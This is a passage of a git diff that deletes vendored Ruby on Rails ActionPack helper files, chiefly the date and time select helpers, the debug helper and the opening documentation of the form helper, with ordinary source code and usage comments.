-      #   datetime_select("post", "written_on", :prompt => {:day => 'Choose day', :month => 'Choose month', :year => 'Choose year'})
-      #   datetime_select("post", "written_on", :prompt => {:hour => true}) # generic prompt for hours
-      #   datetime_select("post", "written_on", :prompt => true) # generic prompts for all
-      #
-      # The selects are prepared for multi-parameter assignment to an Active Record object.
-      def datetime_select(object_name, method, options = {}, html_options = {})
-        InstanceTag.new(object_name, method, self, options.delete(:object)).to_datetime_select_tag(options, html_options)
-      end
-
-      # Returns a set of html select-tags (one for year, month, day, hour, and minute) pre-selected with the
-      # +datetime+. It's also possible to explicitly set the order of the tags using the <tt>:order</tt> option with
-      # an array of symbols <tt>:year</tt>, <tt>:month</tt> and <tt>:day</tt> in the desired order. If you do not
-      # supply a Symbol, it will be appended onto the <tt>:order</tt> passed in. You can also add
-      # <tt>:date_separator</tt>, <tt>:datetime_separator</tt> and <tt>:time_separator</tt> keys to the +options+ to
-      # control visual display of the elements.
-      #
-      # If anything is passed in the html_options hash it will be applied to every select tag in the set.
-      #
-      # ==== Examples
-      #   my_date_time = Time.now + 4.days
-      #
-      #   # Generates a datetime select that defaults to the datetime in my_date_time (four days after today)
-      #   select_datetime(my_date_time)
-      #
-      #   # Generates a datetime select that defaults to today (no specified datetime)
-      #   select_datetime()
-      #
-      #   # Generates a datetime select that defaults to the datetime in my_date_time (four days after today)
-      #   # with the fields ordered year, month, day rather than month, day, year.
-      #   select_datetime(my_date_time, :order => [:year, :month, :day])
-      #
-      #   # Generates a datetime select that defaults to the datetime in my_date_time (four days after today)
-      #   # with a '/' between each date field.
-      #   select_datetime(my_date_time, :date_separator => '/')
-      #
-      #   # Generates a datetime select that defaults to the datetime in my_date_time (four days after today)
-      #   # with a date fields separated by '/', time fields separated by '' and the date and time fields
-      #   # separated by a comma (',').
-      #   select_datetime(my_date_time, :date_separator => '/', :time_separator => '', :datetime_separator => ',')
-      #
-      #   # Generates a datetime select that discards the type of the field and defaults to the datetime in
-      #   # my_date_time (four days after today)
-      #   select_datetime(my_date_time, :discard_type => true)
-      #
-      #   # Generates a datetime select that defaults to the datetime in my_date_time (four days after today)
-      #   # prefixed with 'payday' rather than 'date'
-      #   select_datetime(my_date_time, :prefix => 'payday')
-      #
-      #   # Generates a datetime select with a custom prompt. Use :prompt=>true for generic prompts.
-      #   select_datetime(my_date_time, :prompt => {:day => 'Choose day', :month => 'Choose month', :year => 'Choose year'})
-      #   select_datetime(my_date_time, :prompt => {:hour => true}) # generic prompt for hours
-      #   select_datetime(my_date_time, :prompt => true) # generic prompts for all
-      #
-      def select_datetime(datetime = Time.current, options = {}, html_options = {})
-        DateTimeSelector.new(datetime, options, html_options).select_datetime
-      end
-
-      # Returns a set of html select-tags (one for year, month, and day) pre-selected with the +date+.
-      # It's possible to explicitly set the order of the tags using the <tt>:order</tt> option with an array of
-      # symbols <tt>:year</tt>, <tt>:month</tt> and <tt>:day</tt> in the desired order. If you do not supply a Symbol,
-      # it will be appended onto the <tt>:order</tt> passed in.
-      #
-      # If anything is passed in the html_options hash it will be applied to every select tag in the set.
-      #
-      # ==== Examples
-      #   my_date = Time.today + 6.days
-      #
-      #   # Generates a date select that defaults to the date in my_date (six days after today)
-      #   select_date(my_date)
-      #
-      #   # Generates a date select that defaults to today (no specified date)
-      #   select_date()
-      #
-      #   # Generates a date select that defaults to the date in my_date (six days after today)
-      #   # with the fields ordered year, month, day rather than month, day, year.
-      #   select_date(my_date, :order => [:year, :month, :day])
-      #
-      #   # Generates a date select that discards the type of the field and defaults to the date in
-      #   # my_date (six days after today)
-      #   select_date(my_date, :discard_type => true)
-      #
-      #   # Generates a date select that defaults to the date in my_date,
-      #   # which has fields separated by '/'
-      #   select_date(my_date, :date_separator => '/')
-      #
-      #   # Generates a date select that defaults to the datetime in my_date (six days after today)
-      #   # prefixed with 'payday' rather than 'date'
-      #   select_date(my_date, :prefix => 'payday')
-      #
-      #   # Generates a date select with a custom prompt. Use :prompt=>true for generic prompts.
-      #   select_date(my_date, :prompt => {:day => 'Choose day', :month => 'Choose month', :year => 'Choose year'})
-      #   select_date(my_date, :prompt => {:hour => true}) # generic prompt for hours
-      #   select_date(my_date, :prompt => true) # generic prompts for all
-      #
-      def select_date(date = Date.current, options = {}, html_options = {})
-        DateTimeSelector.new(date, options, html_options).select_date
-      end
-
-      # Returns a set of html select-tags (one for hour and minute)
-      # You can set <tt>:time_separator</tt> key to format the output, and
-      # the <tt>:include_seconds</tt> option to include an input for seconds.
-      #
-      # If anything is passed in the html_options hash it will be applied to every select tag in the set.
-      #
-      # ==== Examples
-      #   my_time = Time.now + 5.days + 7.hours + 3.minutes + 14.seconds
-      #
-      #   # Generates a time select that defaults to the time in my_time
-      #   select_time(my_time)
-      #
-      #   # Generates a time select that defaults to the current time (no specified time)
-      #   select_time()
-      #
-      #   # Generates a time select that defaults to the time in my_time,
-      #   # which has fields separated by ':'
-      #   select_time(my_time, :time_separator => ':')
-      #
-      #   # Generates a time select that defaults to the time in my_time,
-      #   # that also includes an input for seconds
-      #   select_time(my_time, :include_seconds => true)
-      #
-      #   # Generates a time select that defaults to the time in my_time, that has fields
-      #   # separated by ':' and includes an input for seconds
-      #   select_time(my_time, :time_separator => ':', :include_seconds => true)
-      #
-      #   # Generates a time select with a custom prompt. Use :prompt=>true for generic prompts.
-      #   select_time(my_time, :prompt => {:day => 'Choose day', :month => 'Choose month', :year => 'Choose year'})
-      #   select_time(my_time, :prompt => {:hour => true}) # generic prompt for hours
-      #   select_time(my_time, :prompt => true) # generic prompts for all
-      #
-      def select_time(datetime = Time.current, options = {}, html_options = {})
-        DateTimeSelector.new(datetime, options, html_options).select_time
-      end
-
-      # Returns a select tag with options for each of the seconds 0 through 59 with the current second selected.
-      # The <tt>second</tt> can also be substituted for a second number.
-      # Override the field name using the <tt>:field_name</tt> option, 'second' by default.
-      #
-      # ==== Examples
-      #   my_time = Time.now + 16.minutes
-      #
-      #   # Generates a select field for seconds that defaults to the seconds for the time in my_time
-      #   select_second(my_time)
-      #
-      #   # Generates a select field for seconds that defaults to the number given
-      #   select_second(33)
-      #
-      #   # Generates a select field for seconds that defaults to the seconds for the time in my_time
-      #   # that is named 'interval' rather than 'second'
-      #   select_second(my_time, :field_name => 'interval')
-      #
-      #   # Generates a select field for seconds with a custom prompt.  Use :prompt=>true for a
-      #   # generic prompt.
-      #   select_minute(14, :prompt => 'Choose seconds')
-      #
-      def select_second(datetime, options = {}, html_options = {})
-        DateTimeSelector.new(datetime, options, html_options).select_second
-      end
-
-      # Returns a select tag with options for each of the minutes 0 through 59 with the current minute selected.
-      # Also can return a select tag with options by <tt>minute_step</tt> from 0 through 59 with the 00 minute
-      # selected. The <tt>minute</tt> can also be substituted for a minute number.
-      # Override the field name using the <tt>:field_name</tt> option, 'minute' by default.
-      #
-      # ==== Examples
-      #   my_time = Time.now + 6.hours
-      #
-      #   # Generates a select field for minutes that defaults to the minutes for the time in my_time
-      #   select_minute(my_time)
-      #
-      #   # Generates a select field for minutes that defaults to the number given
-      #   select_minute(14)
-      #
-      #   # Generates a select field for minutes that defaults to the minutes for the time in my_time
-      #   # that is named 'stride' rather than 'second'
-      #   select_minute(my_time, :field_name => 'stride')
-      #
-      #   # Generates a select field for minutes with a custom prompt.  Use :prompt=>true for a
-      #   # generic prompt.
-      #   select_minute(14, :prompt => 'Choose minutes')
-      #
-      def select_minute(datetime, options = {}, html_options = {})
-        DateTimeSelector.new(datetime, options, html_options).select_minute
-      end
-
-      # Returns a select tag with options for each of the hours 0 through 23 with the current hour selected.
-      # The <tt>hour</tt> can also be substituted for a hour number.
-      # Override the field name using the <tt>:field_name</tt> option, 'hour' by default.
-      #
-      # ==== Examples
-      #   my_time = Time.now + 6.hours
-      #
-      #   # Generates a select field for hours that defaults to the hour for the time in my_time
-      #   select_hour(my_time)
-      #
-      #   # Generates a select field for hours that defaults to the number given
-      #   select_hour(13)
-      #
-      #   # Generates a select field for hours that defaults to the minutes for the time in my_time
-      #   # that is named 'stride' rather than 'second'
-      #   select_hour(my_time, :field_name => 'stride')
-      #
-      #   # Generates a select field for hours with a custom prompt.  Use :prompt => true for a
-      #   # generic prompt.
-      #   select_hour(13, :prompt =>'Choose hour')
-      #
-      def select_hour(datetime, options = {}, html_options = {})
-        DateTimeSelector.new(datetime, options, html_options).select_hour
-      end
-
-      # Returns a select tag with options for each of the days 1 through 31 with the current day selected.
-      # The <tt>date</tt> can also be substituted for a hour number.
-      # Override the field name using the <tt>:field_name</tt> option, 'day' by default.
-      #
-      # ==== Examples
-      #   my_date = Time.today + 2.days
-      #
-      #   # Generates a select field for days that defaults to the day for the date in my_date
-      #   select_day(my_time)
-      #
-      #   # Generates a select field for days that defaults to the number given
-      #   select_day(5)
-      #
-      #   # Generates a select field for days that defaults to the day for the date in my_date
-      #   # that is named 'due' rather than 'day'
-      #   select_day(my_time, :field_name => 'due')
-      #
-      #   # Generates a select field for days with a custom prompt.  Use :prompt => true for a
-      #   # generic prompt.
-      #   select_day(5, :prompt => 'Choose day')
-      #
-      def select_day(date, options = {}, html_options = {})
-        DateTimeSelector.new(date, options, html_options).select_day
-      end
-
-      # Returns a select tag with options for each of the months January through December with the current month
-      # selected. The month names are presented as keys (what's shown to the user) and the month numbers (1-12) are
-      # used as values (what's submitted to the server). It's also possible to use month numbers for the presentation
-      # instead of names -- set the <tt>:use_month_numbers</tt> key in +options+ to true for this to happen. If you
-      # want both numbers and names, set the <tt>:add_month_numbers</tt> key in +options+ to true. If you would prefer
-      # to show month names as abbreviations, set the <tt>:use_short_month</tt> key in +options+ to true. If you want
-      # to use your own month names, set the <tt>:use_month_names</tt> key in +options+ to an array of 12 month names.
-      # Override the field name using the <tt>:field_name</tt> option, 'month' by default.
-      #
-      # ==== Examples
-      #   # Generates a select field for months that defaults to the current month that
-      #   # will use keys like "January", "March".
-      #   select_month(Date.today)
-      #
-      #   # Generates a select field for months that defaults to the current month that
-      #   # is named "start" rather than "month"
-      #   select_month(Date.today, :field_name => 'start')
-      #
-      #   # Generates a select field for months that defaults to the current month that
-      #   # will use keys like "1", "3".
-      #   select_month(Date.today, :use_month_numbers => true)
-      #
-      #   # Generates a select field for months that defaults to the current month that
-      #   # will use keys like "1 - January", "3 - March".
-      #   select_month(Date.today, :add_month_numbers => true)
-      #
-      #   # Generates a select field for months that defaults to the current month that
-      #   # will use keys like "Jan", "Mar".
-      #   select_month(Date.today, :use_short_month => true)
-      #
-      #   # Generates a select field for months that defaults to the current month that
-      #   # will use keys like "Januar", "Marts."
-      #   select_month(Date.today, :use_month_names => %w(Januar Februar Marts ...))
-      #
-      #   # Generates a select field for months with a custom prompt.  Use :prompt => true for a
-      #   # generic prompt.
-      #   select_month(14, :prompt => 'Choose month')
-      #
-      def select_month(date, options = {}, html_options = {})
-        DateTimeSelector.new(date, options, html_options).select_month
-      end
-
-      # Returns a select tag with options for each of the five years on each side of the current, which is selected.
-      # The five year radius can be changed using the <tt>:start_year</tt> and <tt>:end_year</tt> keys in the
-      # +options+. Both ascending and descending year lists are supported by making <tt>:start_year</tt> less than or
-      # greater than <tt>:end_year</tt>. The <tt>date</tt> can also be substituted for a year given as a number.
-      # Override the field name using the <tt>:field_name</tt> option, 'year' by default.
-      #
-      # ==== Examples
-      #   # Generates a select field for years that defaults to the current year that
-      #   # has ascending year values
-      #   select_year(Date.today, :start_year => 1992, :end_year => 2007)
-      #
-      #   # Generates a select field for years that defaults to the current year that
-      #   # is named 'birth' rather than 'year'
-      #   select_year(Date.today, :field_name => 'birth')
-      #
-      #   # Generates a select field for years that defaults to the current year that
-      #   # has descending year values
-      #   select_year(Date.today, :start_year => 2005, :end_year => 1900)
-      #
-      #   # Generates a select field for years that defaults to the year 2006 that
-      #   # has ascending year values
-      #   select_year(2006, :start_year => 2000, :end_year => 2010)
-      #
-      #   # Generates a select field for years with a custom prompt.  Use :prompt => true for a
-      #   # generic prompt.
-      #   select_year(14, :prompt => 'Choose year')
-      #
-      def select_year(date, options = {}, html_options = {})
-        DateTimeSelector.new(date, options, html_options).select_year
-      end
-    end
-
-    class DateTimeSelector #:nodoc:
-      extend ActiveSupport::Memoizable
-      include ActionView::Helpers::TagHelper
-
-      DEFAULT_PREFIX = 'date'.freeze unless const_defined?('DEFAULT_PREFIX')
-      POSITION = {
-        :year => 1, :month => 2, :day => 3, :hour => 4, :minute => 5, :second => 6
-      }.freeze unless const_defined?('POSITION')
-
-      def initialize(datetime, options = {}, html_options = {})
-        @options      = options.dup
-        @html_options = html_options.dup
-        @datetime     = datetime
-      end
-
-      def select_datetime
-        # TODO: Remove tag conditional
-        # Ideally we could just join select_date and select_date for the tag case
-        if @options[:tag] && @options[:ignore_date]
-          select_time
-        elsif @options[:tag]
-          order = date_order.dup
-          order -= [:hour, :minute, :second]
-
-          @options[:discard_year]   ||= true unless order.include?(:year)
-          @options[:discard_month]  ||= true unless order.include?(:month)
-          @options[:discard_day]    ||= true if @options[:discard_month] || !order.include?(:day)
-          @options[:discard_minute] ||= true if @options[:discard_hour]
-          @options[:discard_second] ||= true unless @options[:include_seconds] && !@options[:discard_minute]
-
-          # If the day is hidden and the month is visible, the day should be set to the 1st so all month choices are
-          # valid (otherwise it could be 31 and february wouldn't be a valid date)
-          if @datetime && @options[:discard_day] && !@options[:discard_month]
-            @datetime = @datetime.change(:day => 1)
-          end
-
-          [:day, :month, :year].each { |o| order.unshift(o) unless order.include?(o) }
-          order += [:hour, :minute, :second] unless @options[:discard_hour]
-
-          build_selects_from_types(order)
-        else
-          "#{select_date}#{@options[:datetime_separator]}#{select_time}".html_safe
-        end
-      end
-
-      def select_date
-        order = date_order.dup
-
-        # TODO: Remove tag conditional
-        if @options[:tag]
-          @options[:discard_hour]     = true
-          @options[:discard_minute]   = true
-          @options[:discard_second]   = true
-
-          @options[:discard_year]   ||= true unless order.include?(:year)
-          @options[:discard_month]  ||= true unless order.include?(:month)
-          @options[:discard_day]    ||= true if @options[:discard_month] || !order.include?(:day)
-
-          # If the day is hidden and the month is visible, the day should be set to the 1st so all month choices are
-          # valid (otherwise it could be 31 and february wouldn't be a valid date)
-          if @datetime && @options[:discard_day] && !@options[:discard_month]
-            @datetime = @datetime.change(:day => 1)
-          end
-        end
-
-        [:day, :month, :year].each { |o| order.unshift(o) unless order.include?(o) }
-
-        build_selects_from_types(order)
-      end
-
-      def select_time
-        order = []
-
-        # TODO: Remove tag conditional
-        if @options[:tag]
-          @options[:discard_month]    = true
-          @options[:discard_year]     = true
-          @options[:discard_day]      = true
-          @options[:discard_second] ||= true unless @options[:include_seconds]
-
-          order += [:year, :month, :day] unless @options[:ignore_date]
-        end
-
-        order += [:hour, :minute]
-        order << :second if @options[:include_seconds]
-
-        build_selects_from_types(order)
-      end
-
-      def select_second
-        if @options[:use_hidden] || @options[:discard_second]
-          build_hidden(:second, sec) if @options[:include_seconds]
-        else
-          build_options_and_select(:second, sec)
-        end
-      end
-
-      def select_minute
-        if @options[:use_hidden] || @options[:discard_minute]
-          build_hidden(:minute, min)
-        else
-          build_options_and_select(:minute, min, :step => @options[:minute_step])
-        end
-      end
-
-      def select_hour
-        if @options[:use_hidden] || @options[:discard_hour]
-          build_hidden(:hour, hour)
-        else
-          build_options_and_select(:hour, hour, :end => 23)
-        end
-      end
-
-      def select_day
-        if @options[:use_hidden] || @options[:discard_day]
-          build_hidden(:day, day)
-        else
-          build_options_and_select(:day, day, :start => 1, :end => 31, :leading_zeros => false)
-        end
-      end
-
-      def select_month
-        if @options[:use_hidden] || @options[:discard_month]
-          build_hidden(:month, month)
-        else
-          month_options = []
-          1.upto(12) do |month_number|
-            options = { :value => month_number }
-            options[:selected] = "selected" if month == month_number
-            month_options << content_tag(:option, month_name(month_number), options) + "\n"
-          end
-          build_select(:month, month_options.join)
-        end
-      end
-
-      def select_year
-        if !@datetime || @datetime == 0
-          val = ''
-          middle_year = Date.today.year
-        else
-          val = middle_year = year
-        end
-
-        if @options[:use_hidden] || @options[:discard_year]
-          build_hidden(:year, val)
-        else
-          options                 = {}
-          options[:start]         = @options[:start_year] || middle_year - 5
-          options[:end]           = @options[:end_year] || middle_year + 5
-          options[:step]          = options[:start] < options[:end] ? 1 : -1
-          options[:leading_zeros] = false
-
-          build_options_and_select(:year, val, options)
-        end
-      end
-
-      private
-        %w( sec min hour day month year ).each do |method|
-          define_method(method) do
-            @datetime.kind_of?(Fixnum) ? @datetime : @datetime.send(method) if @datetime
-          end
-        end
-
-        # Returns translated month names, but also ensures that a custom month
-        # name array has a leading nil element
-        def month_names
-          month_names = @options[:use_month_names] || translated_month_names
-          month_names.unshift(nil) if month_names.size < 13
-          month_names
-        end
-        memoize :month_names
-
-        # Returns translated month names
-        #  => [nil, "January", "February", "March",
-        #           "April", "May", "June", "July",
-        #           "August", "September", "October",
-        #           "November", "December"]
-        #
-        # If :use_short_month option is set
-        #  => [nil, "Jan", "Feb", "Mar", "Apr", "May", "Jun",
-        #           "Jul", "Aug", "Sep", "Oct", "Nov", "Dec"]
-        def translated_month_names
-          begin
-            key = @options[:use_short_month] ? :'date.abbr_month_names' : :'date.month_names'
-            I18n.translate(key, :locale => @options[:locale])
-          end
-        end
-
-        # Lookup month name for number
-        #  month_name(1) => "January"
-        #
-        # If :use_month_numbers option is passed
-        #  month_name(1) => 1
-        #
-        # If :add_month_numbers option is passed
-        #  month_name(1) => "1 - January"
-        def month_name(number)
-          if @options[:use_month_numbers]
-            number
-          elsif @options[:add_month_numbers]
-            "#{number} - #{month_names[number]}"
-          else
-            month_names[number]
-          end
-        end
-
-        def date_order
-          @options[:order] || translated_date_order
-        end
-        memoize :date_order
-
-        def translated_date_order
-          begin
-            I18n.translate(:'date.order', :locale => @options[:locale]) || []
-          end
-        end
-
-        # Build full select tag from date type and options
-        def build_options_and_select(type, selected, options = {})
-          build_select(type, build_options(selected, options))
-        end
-
-        # Build select option html from date value and options
-        #  build_options(15, :start => 1, :end => 31)
-        #  => "<option value="1">1</option>
-        #      <option value=\"2\">2</option>
-        #      <option value=\"3\">3</option>..."
-        def build_options(selected, options = {})
-          start         = options.delete(:start) || 0
-          stop          = options.delete(:end) || 59
-          step          = options.delete(:step) || 1
-          leading_zeros = options.delete(:leading_zeros).nil? ? true : false
-
-          select_options = []
-          start.step(stop, step) do |i|
-            value = leading_zeros ? sprintf("%02d", i) : i
-            tag_options = { :value => value }
-            tag_options[:selected] = "selected" if selected == i
-            select_options << content_tag(:option, value, tag_options)
-          end
-          (select_options.join("\n") + "\n").html_safe
-        end
-
-        # Builds select tag from date type and html select options
-        #  build_select(:month, "<option value="1">January</option>...")
-        #  => "<select id="post_written_on_2i" name="post[written_on(2i)]">
-        #        <option value="1">January</option>...
-        #      </select>"
-        def build_select(type, select_options_as_html)
-          select_options = {
-            :id => input_id_from_type(type),
-            :name => input_name_from_type(type)
-          }.merge(@html_options)
-          select_options.merge!(:disabled => 'disabled') if @options[:disabled]
-
-          select_html = "\n"
-          select_html << content_tag(:option, '', :value => '') + "\n" if @options[:include_blank]
-          select_html << prompt_option_tag(type, @options[:prompt]) + "\n" if @options[:prompt]
-          select_html << select_options_as_html
-
-          (content_tag(:select, select_html.html_safe, select_options) + "\n").html_safe
-        end
-
-        # Builds a prompt option tag with supplied options or from default options
-        #  prompt_option_tag(:month, :prompt => 'Select month')
-        #  => "<option value="">Select month</option>"
-        def prompt_option_tag(type, options)
-          default_options = {:year => false, :month => false, :day => false, :hour => false, :minute => false, :second => false}
-
-          case options
-          when Hash
-            prompt = default_options.merge(options)[type.to_sym]
-          when String
-            prompt = options
-          else
-            prompt = I18n.translate(('datetime.prompts.' + type.to_s).to_sym, :locale => @options[:locale])
-          end
-
-          prompt ? content_tag(:option, prompt, :value => '') : ''
-        end
-
-        # Builds hidden input tag for date part and value
-        #  build_hidden(:year, 2008)
-        #  => "<input id="post_written_on_1i" name="post[written_on(1i)]" type="hidden" value="2008" />"
-        def build_hidden(type, value)
-          (tag(:input, {
-            :type => "hidden",
-            :id => input_id_from_type(type),
-            :name => input_name_from_type(type),
-            :value => value
-          }.merge(@html_options.slice(:disabled))) + "\n").html_safe
-        end
-
-        # Returns the name attribute for the input tag
-        #  => post[written_on(1i)]
-        def input_name_from_type(type)
-          prefix = @options[:prefix] || ActionView::Helpers::DateTimeSelector::DEFAULT_PREFIX
-          prefix += "[#{@options[:index]}]" if @options.has_key?(:index)
-
-          field_name = @options[:field_name] || type
-          if @options[:include_position]
-            field_name += "(#{ActionView::Helpers::DateTimeSelector::POSITION[type]}i)"
-          end
-
-          @options[:discard_type] ? prefix : "#{prefix}[#{field_name}]"
-        end
-
-        # Returns the id attribute for the input tag
-        #  => "post_written_on_1i"
-        def input_id_from_type(type)
-          input_name_from_type(type).gsub(/([\[\(])|(\]\[)/, '_').gsub(/[\]\)]/, '')
-        end
-
-        # Given an ordering of datetime components, create the selection HTML
-        # and join them with their appropriate separators.
-        def build_selects_from_types(order)
-          select = ''
-          order.reverse.each do |type|
-            separator = separator(type) unless type == order.first # don't add on last field
-            select.insert(0, separator.to_s + send("select_#{type}").to_s)
-          end
-          select.html_safe
-        end
-
-        # Returns the separator for a given datetime component
-        def separator(type)
-          case type
-            when :month, :day
-              @options[:date_separator]
-            when :hour
-              (@options[:discard_year] && @options[:discard_day]) ? "" : @options[:datetime_separator]
-            when :minute
-              @options[:discard_minute] ? "" : @options[:time_separator]
-            when :second
-              @options[:include_seconds] ? @options[:time_separator] : ""
-          end
-        end
-    end
-
-    class InstanceTag #:nodoc:
-      def to_date_select_tag(options = {}, html_options = {})
-        datetime_selector(options, html_options).select_date.html_safe
-      end
-
-      def to_time_select_tag(options = {}, html_options = {})
-        datetime_selector(options, html_options).select_time.html_safe
-      end
-
-      def to_datetime_select_tag(options = {}, html_options = {})
-        datetime_selector(options, html_options).select_datetime.html_safe
-      end
-
-      private
-        def datetime_selector(options, html_options)
-          datetime = value(object) || default_datetime(options)
-
-          options = options.dup
-          options[:field_name]           = @method_name
-          options[:include_position]     = true
-          options[:prefix]             ||= @object_name
-          options[:index]                = @auto_index if defined?(@auto_index) && @auto_index && !options.has_key?(:index)
-          options[:datetime_separator] ||= ' &mdash; '
-          options[:time_separator]     ||= ' : '
-
-          DateTimeSelector.new(datetime, options.merge(:tag => true), html_options)
-        end
-
-        def default_datetime(options)
-          return if options[:include_blank] || options[:prompt]
-
-          case options[:default]
-            when nil
-              Time.current
-            when Date, Time
-              options[:default]
-            else
-              default = options[:default].dup
-
-              # Rename :minute and :second to :min and :sec
-              default[:min] ||= default[:minute]
-              default[:sec] ||= default[:second]
-
-              time = Time.current
-
-              [:year, :month, :day, :hour, :min, :sec].each do |key|
-                default[key] ||= time.send(key)
-              end
-
-              Time.utc_time(
-                default[:year], default[:month], default[:day],
-                default[:hour], default[:min], default[:sec]
-              )
-          end
-        end
-    end
-
-    class FormBuilder
-      def date_select(method, options = {}, html_options = {})
-        @template.date_select(@object_name, method, objectify_options(options), html_options)
-      end
-
-      def time_select(method, options = {}, html_options = {})
-        @template.time_select(@object_name, method, objectify_options(options), html_options)
-      end
-
-      def datetime_select(method, options = {}, html_options = {})
-        @template.datetime_select(@object_name, method, objectify_options(options), html_options)
-      end
-    end
-  end
-end
diff --git a/vendor/rails/actionpack/lib/action_view/helpers/debug_helper.rb b/vendor/rails/actionpack/lib/action_view/helpers/debug_helper.rb
deleted file mode 100644
index e637dc14..00000000
--- a/vendor/rails/actionpack/lib/action_view/helpers/debug_helper.rb
+++ /dev/null
@@ -1,38 +0,0 @@
-module ActionView
-  module Helpers
-    # Provides a set of methods for making it easier to debug Rails objects.
-    module DebugHelper
-      # Returns a YAML representation of +object+ wrapped with <pre> and </pre>.
-      # If the object cannot be converted to YAML using +to_yaml+, +inspect+ will be called instead.
-      # Useful for inspecting an object at the time of rendering.
-      #
-      # ==== Example
-      #
-      #   @user = User.new({ :username => 'testing', :password => 'xyz', :age => 42}) %>
-      #   debug(@user)
-      #   # =>
-      #   <pre class='debug_dump'>--- !ruby/object:User
-      #   attributes:
-      #   &nbsp; updated_at:
-      #   &nbsp; username: testing
-      #
-      #   &nbsp; age: 42
-      #   &nbsp; password: xyz
-      #   &nbsp; created_at:
-      #   attributes_cache: {}
-      #
-      #   new_record: true
-      #   </pre>
-
-      def debug(object)
-        begin
-          Marshal::dump(object)
-          "<pre class='debug_dump'>#{h(object.to_yaml).gsub("  ", "&nbsp; ")}</pre>".html_safe
-        rescue Exception => e  # errors from Marshal or YAML
-          # Object couldn't be dumped, perhaps because of singleton methods -- this is the fallback
-          "<code class='debug_dump'>#{h(object.inspect)}</code>".html_safe
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/actionpack/lib/action_view/helpers/form_helper.rb b/vendor/rails/actionpack/lib/action_view/helpers/form_helper.rb
deleted file mode 100644
index 389212df..00000000
--- a/vendor/rails/actionpack/lib/action_view/helpers/form_helper.rb
+++ /dev/null
@@ -1,1118 +0,0 @@
-require 'cgi'
-require 'action_view/helpers/date_helper'
-require 'action_view/helpers/tag_helper'
-require 'action_view/helpers/form_tag_helper'
-
-module ActionView
-  module Helpers
-    # Form helpers are designed to make working with models much easier
-    # compared to using just standard HTML elements by providing a set of
-    # methods for creating forms based on your models. This helper generates
-    # the HTML for forms, providing a method for each sort of input
-    # (e.g., text, password, select, and so on). When the form is submitted
-    # (i.e., when the user hits the submit button or <tt>form.submit</tt> is
-    # called via JavaScript), the form inputs will be bundled into the
-    # <tt>params</tt> object and passed back to the controller.
-    #
-    # There are two types of form helpers: those that specifically work with
-    # model attributes and those that don't. This helper deals with those that
-    # work with model attributes; to see an example of form helpers that don't
-    # work with model attributes, check the ActionView::Helpers::FormTagHelper
-    # documentation.
-    #
-    # The core method of this helper, form_for, gives you the ability to create
-    # a form for a model instance; for example, let's say that you have a model
-    # <tt>Person</tt> and want to create a new instance of it:
-    #
-    #     # Note: a @person variable will have been created in the controller.
-    #     # For example: @person = Person.new
-    #     <% form_for :person, @person, :url => { :action => "create" } do |f| %>
-    #       <%= f.text_field :first_name %>
-    #       <%= f.text_field :last_name %>
-    #       <%= submit_tag 'Create' %>
-    #     <% end %>
-    #
-    # The HTML generated for this would be:
-    #
-    #     <form action="/persons/create" method="post">
-    #       <input id="person_first_name" name="person[first_name]" size="30" type="text" />
-    #       <input id="person_last_name" name="person[last_name]" size="30" type="text" />
-    #       <input name="commit" type="submit" value="Create" />
-    #     </form>
-    #
-    # If you are using a partial for your form fields, you can use this shortcut:
-    #
-    #     <% form_for :person, @person, :url => { :action => "create" } do |f| %>
-    #       <%= render :partial => f %>
-    #       <%= submit_tag 'Create' %>
-    #     <% end %>
-    #
-    # This example will render the <tt>people/_form</tt> partial, setting a
-    # local variable called <tt>form</tt> which references the yielded
-    # FormBuilder. The <tt>params</tt> object created when this form is
-    # submitted would look like:
-    #
-    #     {"action"=>"create", "controller"=>"persons", "person"=>{"first_name"=>"William", "last_name"=>"Smith"}}
-    #
-    # The params hash has a nested <tt>person</tt> value, which can therefore
-    # be accessed with <tt>params[:person]</tt> in the controller. If were
-    # editing/updating an instance (e.g., <tt>Person.find(1)</tt> rather than
-    # <tt>Person.new</tt> in the controller), the objects attribute values are
-    # filled into the form (e.g., the <tt>person_first_name</tt> field would
-    # have that person's first name in it).
-    #
-    # If the object name contains square brackets the id for the object will be
-    # inserted. For example:
-    #
-    #   <%= text_field "person[]", "name" %>
-    #
-    # ...will generate the following ERb.
-    #
-    #   <input type="text" id="person_<%= @person.id %>_name" name="person[<%= @person.id %>][name]" value="<%= @person.name %>" />
-    #
-    # If the helper is being used to generate a repetitive sequence of similar
-    # form elements, for example in a partial used by
-    # <tt>render_collection_of_partials</tt>, the <tt>index</tt> option may
-    # come in handy. Example:
-    #
-    #   <%= text_field "person", "name", "index" => 1 %>
-    #
-    # ...becomes...
-    #
-    #   <input type="text" id="person_1_name" name="person[1][name]" value="<%= @person.name %>" />
-    #
-    # An <tt>index</tt> option may also be passed to <tt>form_for</tt> and
-    # <tt>fields_for</tt>.  This automatically applies the <tt>index</tt> to
-    # all the nested fields.
-    #
-    # There are also methods for helping to build form tags in
-    # link:classes/ActionView/Helpers/FormOptionsHelper.html,
-    # link:classes/ActionView/Helpers/DateHelper.html, and
-    # link:classes/ActionView/Helpers/ActiveRecordHelper.html
-    module FormHelper
-      # Creates a form and a scope around a specific model object that is used
-      # as a base for questioning about values for the fields.
-      #
-      # Rails provides succinct resource-oriented form generation with +form_for+
-      # like this:
-      #
-      #   <% form_for @offer do |f| %>
-      #     <%= f.label :version, 'Version' %>:
-      #     <%= f.text_field :version %><br />
-      #     <%= f.label :author, 'Author' %>:
-      #     <%= f.text_field :author %><br />
-      #   <% end %>
-      #
-      # There, +form_for+ is able to generate the rest of RESTful form
-      # parameters based on introspection on the record, but to understand what
-      # it does we need to dig first into the alternative generic usage it is
-      # based upon.
-      #
-      # === Generic form_for
-      #
-      # The generic way to call +form_for+ yields a form builder around a
-      # model:
-      #
-      #   <% form_for :person, :url => { :action => "update" } do |f| %>
-      #     <%= f.error_messages %>
-      #     First name: <%= f.text_field :first_name %><br />
-      #     Last name : <%= f.text_field :last_name %><br />
-      #     Biography : <%= f.text_area :biography %><br />
-      #     Admin?    : <%= f.check_box :admin %><br />
-      #   <% end %>
-      #
-      # There, the first argument is a symbol or string with the name of the
-      # object the form is about, and also the name of the instance variable
-      # the object is stored in.
-      #
-      # The form builder acts as a regular form helper that somehow carries the
-      # model. Thus, the idea is that
-      #
-      #   <%= f.text_field :first_name %>
-      #
-      # gets expanded to
-      #
-      #   <%= text_field :person, :first_name %>
-      #
-      # If the instance variable is not <tt>@person</tt> you can pass the actual
-      # record as the second argument:
-      #
-      #   <% form_for :person, person, :url => { :action => "update" } do |f| %>
-      #     ...
